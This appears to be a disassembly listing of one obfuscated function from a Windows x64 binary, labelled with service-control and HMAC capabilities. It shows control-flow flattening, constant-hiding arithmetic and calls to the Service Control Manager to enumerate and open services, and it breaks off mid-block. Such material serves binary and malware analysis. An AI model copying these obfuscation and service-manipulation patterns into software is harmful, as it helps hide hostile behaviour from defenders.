Function at 0x1400a2fbe
Capabilities:
Authenticate hmac
Create service
Enumerate services
Query service configuration
Start service

Disassembly:
push rax
pushf
mov eax, 0x181075fb
pushf
not eax
add eax, 0x6f45290c
xor eax, 0x1ae9773b
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x4215aba8
xor eax, 0x37423436
rol eax, 0xb5
popf
cmp eax, 0x19
jne 0x1400a2ffb
popf
pop rax
jmp 0x1400a427b
cmp eax, 0x11
jne 0x1400a300a
popf
pop rax
jmp 0x1400a3ce6
cmp eax, 6
jne 0x1400a3019
popf
pop rax
jmp 0x1400a36aa
cmp eax, 0x32
jne 0x1400a3028
popf
pop rax
jmp 0x1400a5472
cmp eax, 0x2e
jne 0x1400a3037
popf
pop rax
jmp 0x1400a530a
cmp eax, 0x1b
jne 0x1400a3046
popf
pop rax
jmp 0x1400a445e
cmp eax, 0x30
jne 0x1400a3055
popf
pop rax
jmp 0x1400a53db
cmp eax, 0x2d
jne 0x1400a3064
popf
pop rax
jmp 0x1400a52b5
cmp eax, 0xc
jne 0x1400a3073
popf
pop rax
jmp 0x1400a39c5
cmp eax, 8
jne 0x1400a3082
popf
pop rax
jmp 0x1400a37d0
cmp eax, 0x22
jne 0x1400a3091
popf
pop rax
jmp 0x1400a4a6e
cmp eax, 0x36
jne 0x1400a30a0
popf
pop rax
jmp 0x1400a55ef
cmp eax, 0xf
jne 0x1400a30af
popf
pop rax
jmp 0x1400a3c74
cmp eax, 0x2a
jne 0x1400a30be
popf
pop rax
jmp 0x1400a5035
cmp eax, 0x24
jne 0x1400a30cd
popf
pop rax
jmp 0x1400a4ca0
cmp eax, 1
jne 0x1400a30dc
popf
pop rax
jmp 0x1400a3415
cmp eax, 2
jne 0x1400a30eb
popf
pop rax
jmp 0x1400a3472
cmp eax, 0x20
jne 0x1400a30fa
popf
pop rax
jmp 0x1400a4843
cmp eax, 0x1e
jne 0x1400a3109
popf
pop rax
jmp 0x1400a4740
cmp eax, 0x23
jne 0x1400a3118
popf
pop rax
jmp 0x1400a4b0b
cmp eax, 0x26
jne 0x1400a3127
popf
pop rax
jmp 0x1400a4d5b
cmp eax, 0x13
jne 0x1400a3136
popf
pop rax
jmp 0x1400a3e32
cmp eax, 0x28
jne 0x1400a3145
popf
pop rax
jmp 0x1400a4ece
cmp eax, 0x16
jne 0x1400a3154
popf
pop rax
jmp 0x1400a3f62
cmp eax, 0x37
jne 0x1400a3163
popf
pop rax
jmp 0x1400a56ad
cmp eax, 0x1d
jne 0x1400a3172
popf
pop rax
jmp 0x1400a45d0
cmp eax, 0x21
jne 0x1400a3181
popf
pop rax
jmp 0x1400a48fc
cmp eax, 0x2c
jne 0x1400a3190
popf
pop rax
jmp 0x1400a51cb
cmp eax, 0x35
jne 0x1400a319f
popf
pop rax
jmp 0x1400a5550
cmp eax, 0xa
jne 0x1400a31ae
popf
pop rax
jmp 0x1400a38c5
cmp eax, 7
jne 0x1400a31bd
popf
pop rax
jmp 0x1400a372c
cmp eax, 9
jne 0x1400a31cc
popf
pop rax
jmp 0x1400a382c
cmp eax, 0x33
jne 0x1400a31db
popf
pop rax
jmp 0x1400a54aa
cmp eax, 0x18
jne 0x1400a31ea
popf
pop rax
jmp 0x1400a41de
cmp eax, 0x34
jne 0x1400a31f9
popf
pop rax
jmp 0x1400a54e0
cmp eax, 0x25
jne 0x1400a3208
popf
pop rax
jmp 0x1400a4d22
cmp eax, 0x2b
jne 0x1400a3217
popf
pop rax
jmp 0x1400a5092
cmp eax, 0x29
jne 0x1400a3226
popf
pop rax
jmp 0x1400a4f87
cmp eax, 0xb
jne 0x1400a3235
popf
pop rax
jmp 0x1400a3931
cmp eax, 0x12
jne 0x1400a3244
popf
pop rax
jmp 0x1400a3d8e
cmp eax, 0x39
jne 0x1400a3253
popf
pop rax
jmp 0x1400a5745
cmp eax, 0xe
jne 0x1400a3262
popf
pop rax
jmp 0x1400a3bb6
cmp eax, 3
jne 0x1400a3271
popf
pop rax
jmp 0x1400a354a
cmp eax, 0x10
jne 0x1400a3280
popf
pop rax
jmp 0x1400a3cae
cmp eax, 5
jne 0x1400a328f
popf
pop rax
jmp 0x1400a3605
cmp eax, 0x27
jne 0x1400a329e
popf
pop rax
jmp 0x1400a4e3d
cmp eax, 0x1a
jne 0x1400a32ad
popf
pop rax
jmp 0x1400a43b6
cmp eax, 0
jne 0x1400a32bc
popf
pop rax
jmp 0x1400a3352
cmp eax, 0x2f
jne 0x1400a32cb
popf
pop rax
jmp 0x1400a5367
cmp eax, 0xd
jne 0x1400a32da
popf
pop rax
jmp 0x1400a3aeb
cmp eax, 0x1f
jne 0x1400a32e9
popf
pop rax
jmp 0x1400a47df
cmp eax, 0x14
jne 0x1400a32f8
popf
pop rax
jmp 0x1400a3edd
cmp eax, 4
jne 0x1400a3307
popf
pop rax
jmp 0x1400a3583
cmp eax, 0x38
jne 0x1400a3316
popf
pop rax
jmp 0x1400a56e7
cmp eax, 0x15
jne 0x1400a3325
popf
pop rax
jmp 0x1400a3f17
cmp eax, 0x17
jne 0x1400a3334
popf
pop rax
jmp 0x1400a4074
cmp eax, 0x31
jne 0x1400a3343
popf
pop rax
jmp 0x1400a5416
cmp eax, 0x1c
jne 0x1400a3352
popf
pop rax
jmp 0x1400a4496
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14003d040]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov r12, rcx
xor r13d, r13d
mov rcx, qword [rcx + 0x10]
mov rax, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400a33e2
push rax
pushf
mov eax, 0xc402305f
pushf
not eax
add eax, 0x46f4d98d
xor eax, 0x3c4fa8d9
rol eax, 0xb
popf
pushf
not eax
add eax, 0x5cab4f94
xor eax, 0x6cafbd8d
rol eax, 0x97
popf
pushf
not eax
add eax, 0x7c3c1967
xor eax, 0x728fff5c
rol eax, 0xab
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x7e64906c
pushf
not eax
add eax, 0x1ca088a3
xor eax, 0x3be30e77
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x4660e2c1
xor eax, 0x6c03535c
rol eax, 0x23
popf
jmp 0x1400a2fec
mov rax, qword [r12]
push rax
pushf
mov eax, 0x7f49dda7
pushf
not eax
add eax, 0x641d567f
xor eax, 0x23491731
rol eax, 0x10
popf
pushf
not eax
add eax, 0x75117d71
xor eax, 0x1736b3d2
rol eax, 0x21
popf
pushf
not eax
add eax, 0x5f56736c
xor eax, 0x3031ba79
rol eax, 0x31
popf
pushf
not eax
add eax, 0x14c403a0
xor eax, 0x5a8bed40
rol eax, 0x6f
popf
jmp 0x1400a2fec
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rcx
call fcn.1400fbfea
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.1400a0ed5
nop
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea rdi, [rcx + rax*2]
mov rbx, rdi
mov rdx, rdi
call fcn.1400a19ea
cmp rax, rdi
je 0x1400a3504
push rax
pushf
mov eax, 0x2f814bc5
pushf
not eax
add eax, 0x3a8ea74e
xor eax, 0x78d76793
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x3fae8b25
xor eax, 0x3c3bc626
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x76110e46
xor eax, 0xfd16574
rol eax, 0x27
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x4b8624bb
pushf
not eax
add eax, 0x24a48965
xor eax, 0x61c5a27
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x2e406f2d
xor eax, 0x7a628d38
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x74c6d4fe
xor eax, 0x7f696e0
rol eax, 0xb
popf
jmp 0x1400a2fec
nop word [rax + rax]
push rax
pushf
mov eax, 0x7b1bf86c
pushf
not eax
add eax, 0x293ad775
xor eax, 0x4f3de48b
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x31d1544e
xor eax, 0x43c1cfd1
rol eax, 0x5e
popf
jmp 0x1400a2fec
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1400a35d2
push rax
pushf
mov eax, 0xb7ecb86a
pushf
not eax
add eax, 0x469b1f5c
xor eax, 0x3a0ea987
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x748fe36c
xor eax, 0x516ede46
rol eax, 0x30
popf
pushf
not eax
add eax, 0x5ade81b7
xor eax, 0x675b423c
rol eax, 0xd0
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xb4a821c7
pushf
not eax
add eax, 0x3a732440
xor eax, 0x54925f5d
rol eax, 0x39
popf
pushf
not eax
add eax, 0x6c6b62c9
xor eax, 0x20cbb00e
rol eax, 0x31
popf
jmp 0x1400a2fec
cmp cx, 0x2f
jne 0x1400a3664
push rax
pushf
mov eax, 0xdfa554e7
pushf
not eax
add eax, 0x44a4b30
xor eax, 0x4a805ab5
rol eax, 0xad
popf
pushf
not eax
add eax, 0x682f861
xor eax, 0x10594d44
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xc27d9ef
xor eax, 0x291dde66
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x7a8d3bac
xor eax, 0x557e3cc7
rol eax, 0xab
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xce0ff2cc
pushf
not eax
add eax, 0x59b3c8e6
xor eax, 0x1aab1275
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x6640ec07
xor eax, 0x54bb44a8
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x728d4a8d
xor eax, 0x1bacbdf7
rol eax, 0x61
popf
jmp 0x1400a2fec
add rax, 2
cmp rax, rdi
jne 0x1400a36e6
push rax
pushf
mov eax, 0x4b3290df
pushf
not eax
add eax, 0x330b1f9e
xor eax, 0x78439cbb
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x11ea8075
xor eax, 0x43dcf772
rol eax, 0xaa
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x95a2dcc2
pushf
not eax
add eax, 0x3941e446
xor eax, 0x1fa20de6
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x714626b9
xor eax, 0x1632f362
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x176e9d08
xor eax, 0x25643c35
rol eax, 0x3d
popf
jmp 0x1400a2fec
cmp rax, rdi
je 0x1400a378a
push rax
pushf
mov eax, 0x4c0f7dc9
pushf
not eax
add eax, 0x5f57abf1
xor eax, 0x524622a5
rol eax, 0x24
popf
pushf
not eax
add eax, 0x468f323
xor eax, 0x6e8f8cc5
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x762b990
xor eax, 0x67cd6c2c
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x59bceba2
xor eax, 0x7e4c9112
rol eax, 0x90
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xf08ad7f2
pushf
not eax
add eax, 0xe151b7c
xor eax, 0x567167e1
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x5a6ec222
xor eax, 0x3f67e407
rol eax, 0x14
popf
pushf
not eax
add eax, 0x1f8f9011
xor eax, 0x4ffd7980
rol eax, 0xf5
popf
jmp 0x1400a2fec
nop dword [rax]
push rax
pushf
mov eax, 0xd615d8bd
pushf
not eax
add eax, 0x6adfa93e
xor eax, 0x419f6e9b
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x759c6e52
xor eax, 0x257639fc
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x7828bb3e
xor eax, 0x5f3cbf23
rol eax, 0x14
popf
pushf
not eax
add eax, 0x3bcbff58
xor eax, 0x79968a7e
rol eax, 0x5e
popf
jmp 0x1400a2fec
lea rcx, [rbx - 2]
movzx edx, word [rcx]
cmp dx, 0x5c
je 0x1400a386c
push rax
pushf
mov eax, 0x614295f7
pushf
not eax
add eax, 0x57f5043a
xor eax, 0x15823035
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x18f4fbe
xor eax, 0x22022e44
rol eax, 0x94
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xad5749c8
pushf
not eax
add eax, 0x6bb552a9
xor eax, 0x2d9ec77d
rol eax, 0x30
popf
pushf
not eax
add eax, 0x262b4f8c
xor eax, 0x53dbcd3
rol eax, 0x31
popf
pushf
not eax
add eax, 0x78daab0a
xor eax, 0x38199a00
rol eax, 0x23
popf
pushf
not eax
add eax, 0x12a7aae8
xor eax, 0x7dcadd9d
rol eax, 0x2c
popf
jmp 0x1400a2fec
cmp dx, 0x2f
je 0x1400a38fe
push rax
pushf
mov eax, 0x3bcf3d9d
pushf
not eax
add eax, 0x1133eb04
xor eax, 0x38942526
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x572a4e07
xor eax, 0x6aa87225
rol eax, 0x26
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x430f6be2
pushf
not eax
add eax, 0x269e76e0
xor eax, 0x5c5d7a86
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x10076192
xor eax, 0x2fcfe1ed
rol eax, 0xc
popf
jmp 0x1400a2fec
mov rbx, rcx
cmp rax, rcx
jne 0x1400a396c
push rax
pushf
mov eax, 0xc8ee8b3f
pushf
not eax
add eax, 0x5748002c
xor eax, 0x7beb70f2
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x15db36b3
xor eax, 0x3cd92438
rol eax, 0xfa
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x54f4b9c1
pushf
not eax
add eax, 0x4fd94b5c
xor eax, 0x488f2042
rol eax, 0x19
popf
pushf
not eax
add eax, 0x7f606cd2
xor eax, 0x7b917e19
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x3a1188e1
xor eax, 0x40cb721a
rol eax, 0x45
popf
pushf
not eax
add eax, 0x75cd68a2
xor eax, 0x27d54630
rol eax, 0x3c
popf
jmp 0x1400a2fec
push rbx
not rbx
add rdi, rbx
pop rbx
add rdi, 1
sar rdi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8, rdi
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.1400a577b
nop
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rax, qword [rsp + 0x70]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x80]
mov qword [rbp - 8], rax
call fcn.1400fbfea
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp]
call fcn.1400a7dad
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400a3a92
push rax
pushf
mov eax, 0xfded1361
pushf
not eax
add eax, 0x65b9af8c
xor eax, 0x72d3acf6
rol eax, 0x20
popf
pushf
not eax
add eax, 0x24add112
xor eax, 0x63b53e81
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x234bc9f6
xor eax, 0x6b35261b
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x48397ef9
xor eax, 0x53613e9a
rol eax, 0x59
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x2b5aa110
pushf
not eax
add eax, 0x2dd01f42
xor eax, 0x200b4d07
rol eax, 0x74
popf
pushf
not eax
add eax, 0x2706ced
xor eax, 0x33ca9ac0
rol eax, 0x51
popf
pushf
not eax
add eax, 0x6e1aea60
xor eax, 0x4c02444f
rol eax, 0x43
popf
pushf
not eax
add eax, 0x28f818c8
xor eax, 0x149673f8
rol eax, 0x4e
popf
jmp 0x1400a2fec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400a3b5d
push rax
pushf
mov eax, 0xed677fb9
pushf
not eax
add eax, 0x413c97f3
xor eax, 0x12e3717c
rol eax, 0x47
popf
pushf
not eax
add eax, 0x71ec57a4
xor eax, 0x52cb57cf
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x5ed4a468
xor eax, 0x155b740c
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x6a4420fa
xor eax, 0x4968493f
rol eax, 0x8b
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x16064ef8
pushf
not eax
add eax, 0x1564abf6
xor eax, 0x26063d2e
rol eax, 3
popf
pushf
not eax
add eax, 0x1933effa
xor eax, 0x4d6675b9
rol eax, 0x77
popf
pushf
not eax
add eax, 0x381c7fad
xor eax, 0x2d5b291b
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x61abdebf
xor eax, 0x776a0144
rol eax, 0x24
popf
jmp 0x1400a2fec
add rdx, 0x27
mov rcx, qword [rcx - 8]
push rcx
not rcx
add rax, rcx
pop rcx
add rax, 1
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400a3c1a
push rax
pushf
mov eax, 0x8640603c
pushf
not eax
add eax, 0x29939623
xor eax, 0x5b84888b
rol eax, 0x16
popf
pushf
not eax
add eax, 0x377ba949
xor eax, 0x6aed741d
rol eax, 0x22
popf
pushf
not eax
add eax, 0xb28c045
xor eax, 0x58e8a332
rol eax, 0xc7
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x47903e22
pushf
not eax
add eax, 0x62445dc2
xor eax, 0x798d7e7c
rol eax, 0xec
popf
pushf
not eax
add eax, 0x339b7c49
xor eax, 0x5c2e94e9
rol eax, 0x65
popf
pushf
not eax
add eax, 0x61a934e6
xor eax, 0x7c39bdef
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x508825
xor eax, 0x3a775f92
rol eax, 0xb4
popf
jmp 0x1400a2fec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140100bbf
push rax
pushf
mov eax, 0xef35826c
pushf
not eax
add eax, 0x46670aa0
xor eax, 0x1b423195
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x5a298cfa
xor eax, 0x723e4061
rol eax, 0xd
popf
jmp 0x1400a2fec
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r13w
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x1400a3d5b
push rax
pushf
mov eax, 0x3cdebd2b
pushf
not eax
add eax, 0xdf5de9a
xor eax, 0x204dc73b
rol eax, 0x26
popf
pushf
not eax
add eax, 0x31115ad2
xor eax, 0x59bd2ed3
rol eax, 0
popf
pushf
not eax
add eax, 0x4f6a3557
xor eax, 0x4d915456
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xd4b28ee
xor eax, 0x5153c74c
rol eax, 0x2d
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x98f55354
pushf
not eax
add eax, 0x7e5cac38
xor eax, 0x7b88a670
rol eax, 0x26
popf
pushf
not eax
add eax, 0x33d46f0c
xor eax, 0x17d4ca25
rol eax, 0xa4
popf
jmp 0x1400a2fec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400a3dec
push rax
pushf
mov eax, 0xc6c32c4
pushf
not eax
add eax, 0x34a6fa74
xor eax, 0x1aab48dc
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x658f29f5
xor eax, 0xc481bf2
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x3ec7c2cc
xor eax, 0xbd0e038
rol eax, 0x90
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xb74d6af2
pushf
not eax
add eax, 0x6de03ba5
xor eax, 0x8d3b036
rol eax, 0x62
popf
pushf
not eax
add eax, 0x794dddbe
xor eax, 0x52d93172
rol eax, 0x31
popf
pushf
not eax
add eax, 0x3a46fadf
xor eax, 0x309355bc
rol eax, 0xc6
popf
jmp 0x1400a2fec
add rdx, 0x27
mov rcx, qword [rcx - 8]
push rcx
not rcx
add rax, rcx
pop rcx
add rax, 1
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400a3e96
push rax
pushf
mov eax, 0x269a1c5f
pushf
not eax
add eax, 0x7da063b4
xor eax, 0x54692dda
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x39ce8bf4
xor eax, 0xd8fd513
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x53d1c158
xor eax, 0x778f516
rol eax, 3
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x195ce40d
pushf
not eax
add eax, 0x611e8215
xor eax, 0x25bceb2
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x4663e783
xor eax, 0x7db4e6c2
rol eax, 0xb
popf
pushf
not eax
add eax, 0x1b6dc33c
xor eax, 0xdde6c4a
rol eax, 0x8a
popf
jmp 0x1400a2fec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140100bbf
push rax
pushf
mov eax, 0x2d4de7b1
pushf
not eax
add eax, 0x54450eff
xor eax, 0xf7ecb22
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x3ceb9c3b
xor eax, 0x1d5f15f9
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x46c11d8b
xor eax, 0x58d517ee
rol eax, 0
popf
jmp 0x1400a2fec
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r13w
xor edx, edx
xor ecx, ecx
mov r8d, 0x1eeaaedc
pushf
not r8d
add r8d, 0x4fb6117e
xor r8d, 0x650369d7
rol r8d, 0xaf
popf
pushf
not r8d
add r8d, 0x378d8d70
xor r8d, 0x32126d4b
rol r8d, 0x9a
popf
jmp 0x1400a3fb0
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r14, rax
test rax, rax
je 0x1400a401b
push rax
pushf
mov eax, 0xd5e4d7e0
pushf
not eax
add eax, 0x5c5e3f8
xor eax, 0x67da6d68
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x3d6b21ee
xor eax, 0x59512fe9
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x89236
xor eax, 0x232d3c65
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x148e340a
xor eax, 0x458faa11
rol eax, 0x86
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xef89f48f
pushf
not eax
add eax, 0x335cbc2d
xor eax, 0x12252184
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x40d7ac4e
xor eax, 0x6aa49857
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x73f85cd3
xor eax, 0x5a508fcf
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x6d8efef2
xor eax, 0x2f77fa01
rol eax, 0x6a
popf
jmp 0x1400a2fec
mov dword [rbp - 0x20], r13d
mov dword [rbp - 0x1c], r13d
mov qword [rsp + 0x38], r13
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov edx, 0xc0147b32
pushf
not edx
add edx, 0x3563ea15
xor edx, 0x7b823398
rol edx, 0xae
popf
pushf
not edx
add edx, 0x66daee58
xor edx, 0x4a080ef6
rol edx, 0xa
popf
pushf
not edx
add edx, 0x9f0de92
xor edx, 0x2e5f957c
rol edx, 0x87
popf
mov r8d, 0xc07af087
pushf
not r8d
add r8d, 0x20de2454
xor r8d, 0x4f5217a6
rol r8d, 0x64
popf
pushf
not r8d
add r8d, 0xb50e0d
xor r8d, 0x369600c0
rol r8d, 0xd4
popf
pushf
not r8d
add r8d, 0x4bba6a51
xor r8d, 0x1116b704
rol r8d, 0x42
popf
mov rcx, r14
jmp 0x1400a4134
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x1400a4197
push rax
pushf
mov eax, 0x4c4ede79
pushf
not eax
add eax, 0x2f312cc6
xor eax, 0x198bba3a
rol eax, 0xf
popf
pushf
not eax
add eax, 0x6d097c5f
xor eax, 0x52b383fc
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x362faf10
xor eax, 0x59e6c4b0
rol eax, 0x87
popf
pushf
not eax
add eax, 0x28caa4c6
xor eax, 0x3d1cf83
rol eax, 0x2d
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x694257b0
pushf
not eax
add eax, 0x70fefe89
xor eax, 0x6d29994a
rol eax, 8
popf
pushf
not eax
add eax, 0xe929558
xor eax, 0x5825793a
rol eax, 0x61
popf
pushf
not eax
add eax, 0x5c0af3f1
xor eax, 0x1dfc42
rol eax, 0x48
popf
jmp 0x1400a2fec
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x1400a4235
push rax
pushf
mov eax, 0xdb2cd5f3
pushf
not eax
add eax, 0x65e2ed31
xor eax, 0x49918406
rol eax, 0x70
popf
pushf
not eax
add eax, 0x72fcd509
xor eax, 0x4dc4e0b1
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x25a2c6d
xor eax, 0x73baa1e8
rol eax, 0x8c
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x611a1cb7
pushf
not eax
add eax, 0x7c3739d1
xor eax, 0x78f9cf72
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x3fe7a875
xor eax, 0x604c3cde
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x59a55256
xor eax, 0x609b3d68
rol eax, 0xe0
popf
jmp 0x1400a2fec
mov eax, dword [rbp - 0x20]
add eax, 0x30
mov dword [rbp - 0x20], eax
mov ecx, eax
call fcn.140101332
mov r15, rax
mov qword [rsp + 0x38], r13
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
mov ecx, dword [rbp - 0x20]
mov dword [rsp + 0x20], ecx
mov r9, r15
mov edx, 0x403d4088
pushf
not edx
add edx, 0x7e0b9cd3
xor edx, 0x344314a2
rol edx, 0xd1
popf
pushf
not edx
add edx, 0x181b0f2c
xor edx, 0x55b33598
rol edx, 0x92
popf
pushf
not edx
add edx, 0x29c01094
xor edx, 0x39d40ac
rol edx, 0xb1
popf
mov r8d, 0x377a99a9
pushf
not r8d
add r8d, 0x518cc073
xor r8d, 0x79882303
rol r8d, 0x90
popf
pushf
not r8d
add r8d, 0x7a91b02a
xor r8d, 0x74c74c89
rol r8d, 0x3f
popf
mov rcx, r14
jmp 0x1400a432f
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x1400a4370
push rax
pushf
mov eax, 0x527f2d0d
pushf
not eax
add eax, 0x6aa6e343
xor eax, 0x4adbacf3
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xcad2afb
xor eax, 0x5b156bf4
rol eax, 0xb1
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0x72162cff
pushf
not eax
add eax, 0x6a6753f5
xor eax, 0x31eec6d3
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x78206459
xor eax, 0x43f6bd
rol eax, 0x98
popf
pushf
not eax
add eax, 0x6765b7b1
xor eax, 0x7d24171d
rol eax, 0x38
popf
jmp 0x1400a2fec
mov ebx, r13d
cmp dword [rbp - 0x1c], r13d
jbe 0x1400a4418
push rax
pushf
mov eax, 0xc98c6c76
pushf
not eax
add eax, 0x687576c6
xor eax, 0x437d0858
rol eax, 0x20
popf
pushf
not eax
add eax, 0x701aa7ba
xor eax, 0x52b97fab
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x1b8149c2
xor eax, 0x7427bad8
rol eax, 0x77
popf
pushf
not eax
add eax, 0x843b5a0
xor eax, 0x490c246
rol eax, 0x66
popf
jmp 0x1400a2fec
push rax
pushf
mov eax, 0xca721a3a
pushf
not eax
add eax, 0x320b0942
xor eax, 0xb91718c
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x37d59efe
xor eax, 0x56a29ac9
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x7737f3f
xor eax, 0xf0a33ae
rol eax, 0x8b
popf
jmp 0x1400a2fec
nop dword [rax + rax]
push rax
pushf
mov eax, 0xa34e7785
pushf
not eax
add eax, 0x3e6c3f9c
xor eax, 0x4fc57678
rol eax, 0x29
popf
pushf
not eax
add eax, 0x1b1cab3d
xor eax, 0x699c4d93
rol eax, 0xf3
popf
jmp 0x1400a2fec
mov eax, ebx
lea rcx, [rax + rax*2]
add rcx, rcx
mov r8d, 0x832ff26d
pushf
not r8d
add r8d, 0x6abfe32a
xor r8d, 0xe7e3979
rol r8d, 0x54
popf
pushf
not r8d
add r8d, 0x590d6b66
xor r8d, 0x23c82ad4
rol r8d, 0xc4
popf
pushf
not r8d
add r8d, 0x25ff027
xor r8d, 0x405e1b44
rol r8d, 0xda
popf
pushf
not r8d
add r8d, 0x259f8b56
xor r8d, 0x70cc61
rol r8d, 0x59
popf
mov rdx, qword [r15 + rcx*8]
mov rcx, r14
jmp 0x1400a4511
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
je 0x1400a4577
push rax
pushf
mov eax, 0x1f18bd82
pushf
not eax
add eax, 0x78987e38
xor eax, 0x4e8c0da3
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa6d715f
xor eax, 0x64569d51
rol eax, 0x98
popf
pushf
not eax
